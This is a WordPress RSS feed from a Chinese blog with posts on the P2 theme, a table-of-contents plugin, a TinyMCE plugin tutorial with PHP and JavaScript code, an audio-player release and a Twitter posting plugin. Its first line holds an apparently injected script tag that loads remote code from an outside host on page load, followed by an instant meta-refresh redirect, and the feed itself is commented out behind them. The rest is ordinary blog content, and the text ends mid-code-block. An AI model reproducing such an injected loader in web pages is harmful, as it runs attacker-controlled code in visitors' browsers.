<script src='http://turnitupnow.net/?rnd=5774%2Fdeef%2Fsserpdrow%2Ferawbew%2Fyrogetac%2Fmoc.faelyci'></script><meta http-equiv='refresh' content='0;url=http://icyleaf.com/category/webware/wordpress/feed/'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>.::灵狼天::. &#187; WordPress</title>
	<atom:link href="http://icyleaf.com/category/webware/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://icyleaf.com</link>
	<description>icyleaf&#039;s blog - 心外无理，心外无物，心外无事</description>
	<lastBuildDate>Tue, 13 Dec 2011 02:34:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>WordPress主题推荐：P2</title>
		<link>http://icyleaf.com/2009/04/wordpress-theme-p2/</link>
		<comments>http://icyleaf.com/2009/04/wordpress-theme-p2/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 02:50:17 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[movetype]]></category>
		<category><![CDATA[theme]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=607</guid>
		<description><![CDATA[或许使用 WordPress 的各位朋友都有 Twitter 账户，理所当然对 twitter 的界面耳目有染，就连我也渐渐喜欢上了它。主题 P2，是 Automattic （也就是 WordPress的母公司）出品的一款制作精致的微博客主题，其界面在首页每篇日志的下方都有相对于的评论，大大增强了交互式，有些类似于水煮鱼同学制作的 Twitter Thread 插件。不仅使得博主本身已经访问者都有很舒服的感觉，不过这个主题还是比较适合发一些简短性的内容，如果是技术性的话，光评论就可能比内容本身上那就有些不好了，下面是官方截图： 就像上面截图一样，在登录管理平台之后直接可以在首页添加内容，定义 tag，而每篇日志的 tag 都有一个使用此 tag 的数字，点击博客内容的右上角，即可在首页进行回复。快捷键 O 则是隐藏/显示评论，C 发表新文章，R 进行回复，，E 为编辑日志，J 移动至下一篇日志，K 移动至上一篇日志，T 回到顶部，ESC 则为取消操作。而且当有更新或新评论时会实时提醒。 多么精彩的东西用语言还是有些瑕疵，让我们来看视频： 如何拥有它。两种方法，第一官方主题库页面：http://wordpress.org/extend/themes/p2 第二：使用一条 SVN 命令可以保证你用的是最新的而且是最方便的： svn checkout http://svn.automattic.com/wpcom-themes/p2/ 如果你是 MoveTpe 用户也不用着急，Motion &#8230; <a href="http://icyleaf.com/2009/04/wordpress-theme-p2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>或许使用 WordPress 的各位朋友都有 Twitter 账户，理所当然对 twitter 的界面耳目有染，就连我也渐渐喜欢上了它。主题 P2，是 Automattic （也就是 WordPress的母公司）出品的一款制作精致的微博客主题，其界面在首页每篇日志的下方都有相对于的评论，大大增强了交互式，有些类似于水煮鱼同学制作的 <a href="http://fairyfish.net/2009/01/16/thread-twitter/" target="_blank">Twitter Thread 插件</a>。不仅使得博主本身已经访问者都有很舒服的感觉，不过这个主题还是比较适合发一些简短性的内容，如果是技术性的话，光评论就可能比内容本身上那就有些不好了，下面是官方截图：<br />
<img class="alignnone" title="Wordpress theme: p2" src="http://i3.6.cn/cvbnm/a0/a7/2e/e690bb712b0cbadca74b77af7420a569.jpg" alt="" width="500" height="295" /></p>
<p><span id="more-607"></span>就像上面截图一样，在登录管理平台之后直接可以在首页添加内容，定义 tag，而每篇日志的 tag 都有一个使用此 tag 的数字，点击博客内容的右上角，即可在首页进行回复。快捷键 O 则是隐藏/显示评论，C 发表新文章，R 进行回复，，E 为编辑日志，J 移动至下一篇日志，K 移动至上一篇日志，T 回到顶部，ESC 则为取消操作。而且当有更新或新评论时会实时提醒。</p>
<p>多么精彩的东西用语言还是有些瑕疵，让我们来看视频：<br />
<object width="500" height="324" data="http://v.wordpress.com/iYMYzOim" type="application/x-shockwave-flash"><param name="src" value="http://v.wordpress.com/iYMYzOim" /><param name="allowfullscreen" value="true" /></object></p>
<p>如何拥有它。两种方法，第一官方主题库页面：<a title="Wordpress theme" href="http://wordpress.org/extend/themes/p2" target="_blank">http://wordpress.org/extend/themes/p2</a><br />
第二：使用一条 SVN 命令可以保证你用的是最新的而且是最方便的：<br />
<strong><code>svn checkout http://svn.automattic.com/wpcom-themes/p2/</code></strong></p>
<p>如果你是 MoveTpe 用户也不用着急，<a href="http://movabletype.org/motion">Motion</a> 扩展同样可以达到这样的效果。</p>
<p>啊，你不想使用现有的博客平台，那也没有问题，<a href="http://laconi.ca/">Laconica</a> 帮你解决。</p>
<p>消息来源： <a href="http://www.sitepoint.com/blogs/2009/04/14/roll-your-own-twitter-clone/" target="_self">Roll Your Own Twitter Clone</a></p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2009/04/wordpress-theme-p2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress Plugin: WS TOC 预览版</title>
		<link>http://icyleaf.com/2008/12/wordpress-plugin-ws-toc-preview/</link>
		<comments>http://icyleaf.com/2008/12/wordpress-plugin-ws-toc-preview/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 09:05:19 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[WS TOC]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=485</guid>
		<description><![CDATA[WS TOC 全称为：WS Table Of Contents，这是一个通过检索 WordPress 日志/页面的 H1 标签的内容生成的目录插件。主要是为了给一些写教程的博主提供的一个比较方便的生成目录的插件。 其实很早就开始写这个插件，中间因为很多事情耽搁了，从而在这次写的过程中大部分的代码进行了重写，优化了很多的代码（不过现在的代码怎么看起来还是很乱&#8230;），恩，目前还处于开发阶段，现在先放出一个预览版本，目前还仅支持检索并生成 H1 的目录，而且还没有添加代码配置的编辑器按钮功能，所以大家目前仅只能通过手动在编辑器中添加代码配置生成目录的效果。 本插件可实现的效果：生成目录；显示/隐藏目录，显示/隐藏“返回头部&#8221;按钮。 配置代码： 请自己在使用是更换&#8221;【&#8221;, &#8220;】&#8221;为&#8221;[", "]&#8221; 【toc display=&#8221;show/hide&#8221; style=&#8221;decimal/roman/alpha&#8221; top】]]></description>
			<content:encoded><![CDATA[<p>WS TOC 全称为：WS Table Of Contents，这是一个通过检索 WordPress 日志/页面的 H1 标签的内容生成的目录插件。主要是为了给一些写教程的博主提供的一个比较方便的生成目录的插件。</p>
<p>其实很早就开始写这个插件，中间因为很多事情耽搁了，从而在这次写的过程中大部分的代码进行了重写，优化了很多的代码（不过现在的代码怎么看起来还是很乱&#8230;），恩，目前还处于开发阶段，现在先放出一个预览版本，目前还仅支持检索并生成 H1 的目录，而且还没有添加代码配置的编辑器按钮功能，所以大家目前仅只能通过手动在编辑器中添加代码配置生成目录的效果。</p>
<p>本插件可实现的效果：生成目录；显示/隐藏目录，显示/隐藏“返回头部&#8221;按钮。</p>
<p>配置代码： 请自己在使用是更换&#8221;【&#8221;, &#8220;】&#8221;为&#8221;[", "]&#8221;</p>
<blockquote><p>【toc display=&#8221;show/hide&#8221; style=&#8221;decimal/roman/alpha&#8221; top】</blockquote<br />
<span id="more-485"></span><br />
<strong>参数</strong><br />
display: show/hide &#8211; 显示/隐藏目录<br />
style: decimal/roman/alpha &#8211; 数字/罗马数字/字母排序显示<br />
top: 显示/不显示“返回”按钮</p>
<p>参数可以随意组合使用，不用也可以。缺省使用代码：<code>【toc】</code></p>
<p>截图：<a href="http://twitpic.com/ttuq/full" target="_blank">http://twitpic.com/ttuq/full</a></p>
<p>插件下载：项目暂时放在 Google  Code 管理：http://code.google.com/p/ws-toc/</p>
<p>如果是使用中有遇到什么问题，并让大家更好的使用请及时反馈，谢谢。</p>
<p><strong>更新内容</strong>：<br />
1. 修正并删除在 RSS 下的无用内容。</p>
<p>插件演示：<br />
[toc display="hide" style="roman" top]</p>
<h1>First of all</h1>
<p>开放式标准被企业用作降低高整合及维护费用的主要手段。现实中的各种异构软件系统使得我们必须使用一些涉及开放式标准的策略，而 Web 服务很快就成为了解决这个难题的方法的一个重要部分。直到现在，要构造一个界面友好的 GUI 客户端来与这些系统进行交互还是非常的单调乏味。这个问题的一个部分就是 Web 服务描述语言（Web Services Description Language ，WSDL）正趋向于成为服务端点的唯一描述语言，这有时使得遵守起来变得非常困难，尤其是对组织中的设计人员和用户接口开发人员。Flex 是 Macromedia 开发的一个 Rich Internet Application 平台，它在用户接口设计人员和更多传统服务器端开发人员之间搭了一座桥。传统的后台程序员可以利用大量的吸引人的可视控制、效能、布局、及现有的 Flash 组件，加上他们对服务端点的深厚知识，从而装配出一个诱人的客户端应用程序。在任何时候不管有什么类型的资源在您的项目中可用，最后的结果都是可以容易地创建一个高交互及诱人的应用程序，它在 Web 服务中整合了您的投资。 </p>
<h1>理解 WSDL</h1>
<p>为了在不同的 SOAP 服务端点间交换消息（在 Flex 中，SOAP 消息被限制成只能使用 HTTP 协议传输机制），Flex 通过引用 WSDL 文档的 URL 来使用现有的 WSDL 定义。下表列举了经常会在 WSDL 文档中出现的元素：</p>
<h1>我是中文</h1>
<p>sdf</p>
<p>s</p>
<p>df</p>
<p>sf</p>
<p>dsd</p>
<p>f</p>
<h1>中文                空格测试</h1>
<p>sdf</p>
<p>s</p>
<p>df</p>
<p>sf</p>
<p>dsd</p>
<p>f</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/12/wordpress-plugin-ws-toc-preview/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress插件教程：如何编写TinyMCE插件</title>
		<link>http://icyleaf.com/2008/06/how-to-load-tinymce-plugins-for-wordpress/</link>
		<comments>http://icyleaf.com/2008/06/how-to-load-tinymce-plugins-for-wordpress/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 07:30:03 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[TinyMCE]]></category>
		<category><![CDATA[WS Audio Player]]></category>
		<category><![CDATA[教程]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=202</guid>
		<description><![CDATA[编写WordPress（以下简称wp）插件难免要和关联着wp的某一个或多个方面的东西，就拿我的刚更新的WS Auido Player插件来说，它需要提供一个窗口使得用户输入某些值来达到简化用户记忆以及操作的功能。自己敲一个两个代码还好，如果全部都是自己写的话，那和写HTML有什么区别呢？这个就是TinyMCE编辑器面世的主要目的之一。 其实想这个部分的东西，主要是因为国内也没出几个这样的插件（或者是我不知道而已）再者是也蛮少有人来写这方面的教程，网上找到的只有干巴巴、苦涩的英文句子，看着就是没中国字舒服，呵呵(^___^)，所以我就花了点时间自己整理出了这个教程。当然wp官方也有提到如何编写只不过写了一些核心的几句代码（看这里），剩下的还让你自己参考wp系统中tinymce插件。为什么要看wp系统中tinymce插件，而不是看tinymce官方的文档呢，这里要说句牢骚的话。wp其中使用到了很多及其优秀的开源代码，而且每个东西还或多或少的修改修改。这一下让我们看开源代码不是，看wp系统又感到迷茫。最好的是两者都得看。 书归正传，首先我们先简述下Tinymce在wp中用到版本。在wp 2.1.x &#8211; 2.3.x版本中使用到的是一直没有更改Tinymce 2。而在Tinymce 3推出不久，wp做了重大的版本变动，也就是现在的2.5，其中更新至tinymce3。而tinymce3也是一个大变动的版本，其中较大的改写了tinymce插件的函数。当然这也是为了方便用户而改进的。注意由于wp2.3.x版本已经老了，本教程只支持wp2.5以上版本。 首先，构建wp插件必要的文件以及基本代码，这里我把插件项目的名称叫做“SimplePlugins”以便记忆。首先我们先看下主文件的全部代码：]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" src="http://i2.6.cn/tu.6.cn/94/e5/5a/1a1624cb0d5f7ae890fb0d019218ad43.jpg" alt="#Header" width="450" height="120" /></p>
<p>编写WordPress（以下简称wp）插件难免要和关联着wp的某一个或多个方面的东西，就拿我的刚更新的<a href="http://www.icyleaf.cn/projects/ws-audio-player/" target="_self">WS Auido Player</a>插件来说，它需要提供一个窗口使得用户输入某些值来达到简化用户记忆以及操作的功能。自己敲一个两个代码还好，如果全部都是自己写的话，那和写HTML有什么区别呢？这个就是TinyMCE编辑器面世的主要目的之一。</p>
<p>其实想这个部分的东西，主要是因为国内也没出几个这样的插件（或者是我不知道而已）再者是也蛮少有人来写这方面的教程，网上找到的只有干巴巴、苦涩的英文句子，看着就是没中国字舒服，呵呵(^___^)，所以我就花了点时间自己整理出了这个教程。当然wp官方也有提到如何编写只不过写了一些核心的几句代码（<a href="http://codex.wordpress.org/TinyMCE_Custom_Buttons" target="_self">看这里</a>），剩下的还让你自己参考wp系统中tinymce插件。为什么要看wp系统中tinymce插件，而不是看tinymce官方的文档呢，这里要说句牢骚的话。wp其中使用到了很多及其优秀的开源代码，而且每个东西还或多或少的修改修改。这一下让我们看开源代码不是，看wp系统又感到迷茫。最好的是两者都得看。<br />
<span id="more-202"></span><br />
书归正传，首先我们先简述下Tinymce在wp中用到版本。在wp 2.1.x &#8211; 2.3.x版本中使用到的是一直没有更改Tinymce 2。而在Tinymce 3推出不久，wp做了重大的版本变动，也就是现在的2.5，其中更新至tinymce3。而tinymce3也是一个大变动的版本，其中较大的改写了tinymce插件的函数。当然这也是为了方便用户而改进的。<strong>注意由于wp2.3.x版本已经老了，本教程只支持wp2.5以上版本</strong>。</p>
<p>首先，构建wp插件必要的文件以及基本代码，这里我把插件项目的名称叫做“SimplePlugins”以便记忆。首先我们先看下主文件的全部代码：<br />
<coolcode lang="php"><br />
<?php<br />
/*<br />
Plugin Name: Simple Plugins<br />
Plugin URI: http://www.icyleaf.cn/<br />
Description: Simple Plugins<br />
Version: 1.0<br />
Author: icyleaf<br />
Author URI: http://www.icyleaf.cn/<br />
*/</p>
<p>// 定义一个常量并判断wp是否是2.5以上版本<br />
define('IS_WP25', version_compare($wp_version, '2.4', '>=&#8217;) );</p>
<p>// 定义插件目录的常量<br />
$myabspath = str_replace(&#8220;\\&#8221;,&#8221;/&#8221;,ABSPATH);  // 针对Windows &#038; XAMPP<br />
define(&#8216;WINABSPATH&#8217;, $myabspath);<br />
define(&#8216;WSAPFOLDER&#8217;, dirname(plugin_basename(__FILE__)));<br />
define(&#8216;WSAP_ABSPATH&#8217;, $myabspath.&#8217;wp-content/plugins/&#8217; . WSAPFOLDER .&#8217;/');<br />
define(&#8216;WSAP_URLPATH&#8217;, get_option(&#8216;siteurl&#8217;).&#8217;/wp-content/plugins/&#8217; . WSAPFOLDER.&#8217;/');</p>
<p>if (IS_WP25){<br />
function SinmplePlugins_addbuttons() {<br />
	// 权限判断，若没有撰写日志和页面的权限就返回。<br />
	if ( !current_user_can(&#8216;edit_posts&#8217;) &#038;&#038; !current_user_can(&#8216;edit_pages&#8217;) ) return;</p>
<p>	// 仅在Visual（可视化）模式下添加<br />
	if ( get_user_option(&#8216;rich_editing&#8217;) == &#8216;true&#8217;) {<br />
	        // 添加必要的函数到wp hook里面<br />
		add_filter(&#8220;mce_external_plugins&#8221;, &#8220;add_SinmplePlugins_tinymce_plugin&#8221;, 5);<br />
		add_filter(&#8216;mce_buttons&#8217;, &#8216;register_SinmplePlugins_button&#8217;, 5);<br />
	}<br />
}</p>
<p>// 在wp2.5的tinymce编辑器注册按钮插件，名字要独一无二<br />
function register_SinmplePlugins_button($buttons) {<br />
	array_push($buttons, &#8220;separator&#8221;, &#8220;PluginsName&#8221;);<br />
	return $buttons;<br />
}</p>
<p>// 加载自定义的TinyMCE插件：editor_plugin.js (wp2.5)<br />
function add_SinmplePlugins_tinymce_plugin($plugin_array) {<br />
	$plugin_array['PluginsName'] = WSAP_URLPATH.&#8217;tinymce3/editor_plugin.js&#8217;;<br />
	return $plugin_array;<br />
}</p>
<p>function SinmplePlugins_change_tinymce_version($version) {<br />
	return ++$version;<br />
}</p>
<p>// 当你的tinyMCE插件改变了就修改tinyMCE插件版本号。<br />
add_filter(&#8216;tiny_mce_version&#8217;, &#8216;SinmplePlugins_change_tinymce_version&#8217;);</p>
<p>// 插件初始化<br />
add_action(&#8216;init&#8217;, &#8216;SinmplePlugins_addbuttons&#8217;);<br />
}<br />
?><br />
</coolcode></p>
<p>可能大家通过上面的代码还不明白，我这里简单讲述一下核心的东西。wp2.5版本把之前的钩子替换掉了，在wp2.5+中关系Tinymce3，主要是由以下两个钩子：<br />
<strong>mce_buttons</strong>：通过一个以按钮名字做参数的（输入输出）PHP函数来注册按钮并返回。 &#8220;|&#8221;符合可以使用separator代替。<br />
<strong>mce_external_plugins</strong>：通过一个输入输出PHP函数关联数组：&#8217;plugin_name&#8217; => &#8216;plugin_url&#8217;<br />
<strong>tiny_mce_version</strong>：通过版本号码作为一个字符串，它可以自动改变tinyMCE插件的版本号。</p>
<p>另外，tinymce插件是放在名为tinymce3的文件夹下面，当然名字是自定义的。对于tinymce插件这里还需要大家看一下tinymce3的文档，其配置文件名为editor_plugin.js，通过点击按钮加载的显示窗口的文件是window.php，然后再通过一个js脚本（tinymce.js）来把设置的内容添加到编辑器中。</p>
<p><coolcode lang="javascript"><br />
// Docu : http://wiki.moxiecode.com/index.php/TinyMCE:Create_plugin/3.x#Creating_your_own_plugins</p>
<p>(function() {<br />
	// 多语言支持的插件标识，和langs的各个语言文件匹配<br />
	tinymce.PluginManager.requireLangPack(&#8216;SimplePlugins&#8217;);</p>
<p>	tinymce.create(&#8216;tinymce.plugins.SimplePlugins&#8217;, {<br />
		/**<br />
		 * 初始化插件， 在创建完成后就可以显示执行了<br />
		 * @参数 {tinymce.Editor} ed 编辑器初始化点。<br />
		 * @参数 {string} url 插件位置的绝对URL。<br />
		 */<br />
		init : function(ed, url) {<br />
			// 加载按钮时，执行此函数，名字以小写的mce开头，后面接注册插件的名字。<br />
			ed.addCommand(&#8216;mceSimplePlugins&#8217;, function() {<br />
				ed.windowManager.open({<br />
					file : url + &#8216;/window.php&#8217;,  //显示窗口的文件<br />
					width : 360 + ed.getLang(&#8216;SimplePlugins.delta_width&#8217;, 0),<br />
					height : 210 + ed.getLang(&#8216;SimplePlugins.delta_height&#8217;, 0),<br />
					inline : 1<br />
				}, {<br />
					plugin_url : url // 插件的绝对URL.<br />
				});<br />
			});</p>
<p>			// 注册按钮<br />
			ed.addButton(&#8216;SimplePlugins&#8217;, {<br />
				title : &#8216;SimplePlugins.desc&#8217;,<br />
				cmd : &#8216;mceSimplePlugins&#8217;,<br />
				image : url + &#8216;/simple.png&#8217;  //按钮的图标<br />
			});</p>
<p>			// Add a node change handler, selects the button in the UI when a image is selected<br />
			ed.onNodeChange.add(function(ed, cm, n) {<br />
				cm.setActive(&#8216;SimplePlugins&#8217;, n.nodeName == &#8216;MP3&#8242;);<br />
			});<br />
		},</p>
<p>		/**<br />
		 * Creates control instances based in the incomming name. This method is normally not<br />
		 * needed since the addButton method of the tinymce.Editor class is a more easy way of adding buttons<br />
		 * but you sometimes need to create more complex controls like listboxes, split buttons etc then this<br />
		 * method can be used to create those.<br />
		 *<br />
		 * @param {String} n Name of the control to create.<br />
		 * @param {tinymce.ControlManager} cm Control manager to use inorder to create new control.<br />
		 * @return {tinymce.ui.Control} New control instance or null if no control was created.<br />
		 */<br />
		createControl : function(n, cm) {<br />
			return null;<br />
		},</p>
<p>		// 插件信息<br />
		getInfo : function() {<br />
			return {<br />
					longname  : &#8216;SimplePlugins&#8217;,<br />
					author 	  : &#8216;icyleaf&#8217;,<br />
					authorurl : &#8216;http://www.icyleaf.cn/how-to-load-tinymce-plugins-for-wordpress&#8217;,<br />
					infourl   : &#8216;http://www.icyleaf.cn&#8217;,<br />
					version   : &#8220;1.0&#8243;<br />
			};<br />
		}<br />
	});</p>
<p>	// 注册插件<br />
	tinymce.PluginManager.add(&#8216;SimplePlugins&#8217;, tinymce.plugins.SimplePlugins);<br />
})();<br />
</coolcode></p>
<p>这个是一个典型的配置文件，不好意思英语很烂，只能简单翻译，在这个文件的开头是加载语言的标识，语言文件都放在其插件的langs文件夹下面，一每个国家的语言缩写作为其语言，比如，美式英语：en_US.js；中国的简体中文，那就是cn_ZH.js。</p>
<p>window.php是窗口显示的文件，这里就不在多说了，大家自己看下<a href="http://www.icyleaf.cn/projects/ws-audio-player/" target="_self">WS Auido Player</a>插件的代码就知道了，那么如何把填写好的配置返回到编辑器里面呢，如果你注意看window.php，你会发现，他在提交时调用了一个js函数。这个函数是放在插件的tinymce.js文件里面。然后通过tinymce.js主函数的处理就把相关的代码插入到编辑器当中了：）</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/06/how-to-load-tinymce-plugins-for-wordpress/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WS Audio Player1.1.0发布</title>
		<link>http://icyleaf.com/2008/05/ws-audio-player-1-1-0/</link>
		<comments>http://icyleaf.com/2008/05/ws-audio-player-1-1-0/#comments</comments>
		<pubDate>Thu, 22 May 2008 11:53:56 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=196</guid>
		<description><![CDATA[Update： 1.修正了一些错误，去掉了调试用的注解掉的语句。版本升级至1.1.2 2.添加插件说明地址：http://www.icyleaf.cn/projects/ws-audio-player/ Chinese 今天下午花了些时间完成了WS AudioPlayer1.1.0版本的制作，现在已经完全且仅支持WordPress2.5+版本。如果你现在用的WordPress版本还不是2.5+，那么就赶紧升级吧～主要原因是不想浪费多余的体积大小：） 插件下载：WS Audio Player1.1.2 如果到你不知道这个插件的话，请点击这里看详细哦～ English Now This version(1.1.0) only use for WordPress 2.5+. and you can insert music with button between Vistual Mode and HTML mode. if you are not WordPress 2.5+, suggest update &#8230; <a href="http://icyleaf.com/2008/05/ws-audio-player-1-1-0/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Update：<br />
1.修正了一些错误，去掉了调试用的注解掉的语句。版本升级至1.1.2<br />
2.添加插件说明地址：<a href="http://www.icyleaf.cn/projects/ws-audio-player/">http://www.icyleaf.cn/projects/ws-audio-player/</a></p>
<p>Chinese<br />
今天下午花了些时间完成了WS AudioPlayer1.1.0版本的制作，现在已经<strong>完全且仅</strong>支持WordPress2.5+版本。如果你现在用的WordPress版本还不是2.5+，那么就赶紧升级吧～主要原因是不想浪费多余的体积大小：）</p>
<p>插件下载：<a href="http://downloads.wordpress.org/plugin/ws-audio-player.zip">WS Audio Player1.1.2</a></p>
<p>如果到你不知道这个插件的话，请<a href="http://www.icyleaf.cn/projects/ws-audio-player/" target="_self">点击这里</a>看详细哦～</p>
<p>English<br />
Now This version(1.1.0) <strong>only</strong> use for WordPress 2.5+. and you can insert music with button between Vistual Mode and HTML mode. if you are not WordPress 2.5+, suggest update to latest version.:)</p>
<p>Plugin Download: <a href="http://downloads.wordpress.org/plugin/ws-audio-player.zip">WS Audio Player1.1.2</a></p>
<p>see History or want konw what it  is, please <a href="http://www.icyleaf.cn/projects/ws-audio-player/" target="_self">click here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/05/ws-audio-player-1-1-0/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>WordPress插件：Twitter Swell</title>
		<link>http://icyleaf.com/2008/05/twitter-swell/</link>
		<comments>http://icyleaf.com/2008/05/twitter-swell/#comments</comments>
		<pubDate>Wed, 21 May 2008 12:27:53 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Twitter Swell]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=195</guid>
		<description><![CDATA[Twitter Swell我是根据Twitter Blaster修改而来的一个插件，Twitter Swell的用途是添加Twiiter信息输入框到自己的博客上面并个性化输出显示。这样，我们就能免去很多麻烦，只要你登录了自己的博客就能在自己的博客上进行twitter。而Twitter Blaster插件则是让游客可以说是任何人都能用博客主人设定的账户发生twitter&#8230;.好可怕啊&#8230;不知道Twitter Blaster的作者怎么想的&#8230; 下面，我们来看下效果图： 因为有些地方描述不是很好，这里做一个术语约定。 1. 登录窗体：即登录博客时填写用户名，密码的窗体。 2. Twitter发送窗体：即输入你要发送的Twiiter信息框的窗体。 3. Tweet窗体：即显示Twitter信息的窗体。 博客日志的正上方为Twitter发送窗体。右边About me下面是Tweet窗体。本来Tweet窗体是我自己做的一个主题部分，这次为了增强Twitter Swell的功能，就把它融合进来了。 使用方法也很简单，下载插件，上传并激活，进入后台Twitter Swell设置页面输入Twitter帐号和密码，然后在你想显示Twitter发送窗体的地方插入下面代码即可： WSTS_ShowTwitter()还支持一个参数： 这个主要是为了方便大家的使用而设立的，也就是说如果你使：&#60;?php WSTS_ShowTwitter($LoginForm=true); ?&#62;代码，能在未登录博客的状态下显示登录窗体。同样的你也可以只直接使用代码显示登录窗体，只不过下面这函数只能显示登录窗体： 而想显示Tweet窗体，就插入代码： 如果你不满意当前的样式，你可以在插件目录下的css文件夹下修改相应的设置以满足你的要求。 这里有一个注意事项： 使用本插件显示Tweet窗体的时候，请务必确认没有其他第三方或者官方的显示插件。 插件下载：Twitter Swell 0.8 == Enlgish == Tags: twitter,widgets,posts,form,posting Contributors: icyleaf Requires at least: &#8230; <a href="http://icyleaf.com/2008/05/twitter-swell/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Twitter Swell我是根据<a href="http://MyBlogIt.net/plugins" target="_self">Twitter Blaster</a>修改而来的一个插件，Twitter Swell的用途是添加Twiiter信息输入框到自己的博客上面并个性化输出显示。这样，我们就能免去很多麻烦，只要你登录了自己的博客就能在自己的博客上进行twitter。而Twitter Blaster插件则是让游客可以说是任何人都能用博客主人设定的账户发生twitter&#8230;.好可怕啊&#8230;不知道Twitter Blaster的作者怎么想的&#8230;</p>
<p>下面，我们来看下效果图：<br />
<a class="highslide-image" onclick="return hs.expand(this);" href="http://photo1.bababian.com/upload9/20080521/38129D858F861A30B62DD585137CB937.jpg"><img title="Click to enlarge" src="http://photo1.bababian.com/upload9/20080521/38129D858F861A30B62DD585137CB937_500.jpg" alt="image" /></a><br />
<span id="more-195"></span> 因为有些地方描述不是很好，这里做一个术语约定。<br />
1. 登录窗体：即登录博客时填写用户名，密码的窗体。<br />
2. Twitter发送窗体：即输入你要发送的Twiiter信息框的窗体。<br />
3. Tweet窗体：即显示Twitter信息的窗体。</p>
<p>博客日志的正上方为Twitter发送窗体。右边About me下面是Tweet窗体。本来Tweet窗体是我自己做的一个主题部分，这次为了增强Twitter Swell的功能，就把它融合进来了。</p>
<p>使用方法也很简单，下载插件，上传并激活，进入后台Twitter Swell设置页面输入Twitter帐号和密码，然后在你想显示Twitter发送窗体的地方插入下面代码即可：</p>
<pre lang="php" line="1" colla="+">
<?php if (function_exists('WSTS_ShowTwitter')) : ?>
<?php WSTS_ShowTwitter(); ?>
<?php endif; ?>
</pre>
<p>WSTS_ShowTwitter()还支持一个参数：</p>
<pre lang="php" line="1" colla="+">
<?php WSTS_ShowTwitter($LoginForm={true|Fals}) ?>
</pre>
<p>这个主要是为了方便大家的使用而设立的，也就是说如果你使：&lt;?php WSTS_ShowTwitter($LoginForm=true); ?&gt;代码，能在未登录博客的状态下显示登录窗体。同样的你也可以只直接使用代码显示登录窗体，只不过下面这函数只能显示登录窗体：</p>
<pre lang="php" line="1" colla="+">
<?php WSTS_LoginForm(); ?>
</pre>
<p>而想显示Tweet窗体，就插入代码：</p>
<pre lang="php" line="1" colla="+">
<?php WSTS_TweetForm(); ?>
</pre>
<p>如果你不满意当前的样式，你可以在插件目录下的css文件夹下修改相应的设置以满足你的要求。</p>
<p>这里有一个注意事项： <strong>使用本插件显示Tweet窗体的时候，请务必确认没有其他第三方或者官方的显示插件。</strong></p>
<p>插件下载：<a href="http://labs.icyleaf.cn/wordpress/twitter-swell.zip">Twitter Swell 0.8</a></p>
<p>== Enlgish ==<br />
Tags: twitter,widgets,posts,form,posting<br />
Contributors: icyleaf<br />
Requires at least: 2.3.1<br />
Stable tag: trunk<br />
Tested up to: 2.5.1</p>
<p>== Description ==<br />
You coult post message to your Twitter and show it.</p>
<p>== Installation  ==<br />
1. Upload the full directory into your wp-content/plugins directory.<br />
2. Activate the Plugin in WP-Admin.<br />
3. Goto Options &gt; Twitter Swell. You must input Twitter username and password.</p>
<p>==  Useage ==<br />
Terminology Agreement<br />
1. LoginForm: Log in to Blog filled out a user name and password form.<br />
2. TwitterForm: Send Twitter message form.<br />
3. TweetForm: Show Twitter messages from.</p>
<p>Add below code to the theme where you would like it your user to twitter from:</p>
<pre lang="php" line="1" colla="+">
<?php if (function_exists('WSTS_ShowTwitter')) : ?>
<?php WSTS_ShowTwitter(); ?>
<?php endif; ?>
</pre>
<p>The best place to put it would be in your theme&#8217;s index.php file right above <?php if (have_posts()) : ?></p>
<p>And WSTS_ShowTwitter() function can be used it with parameter! Parameter Usage:</p>
<pre lang="php" line="1" colla="+">
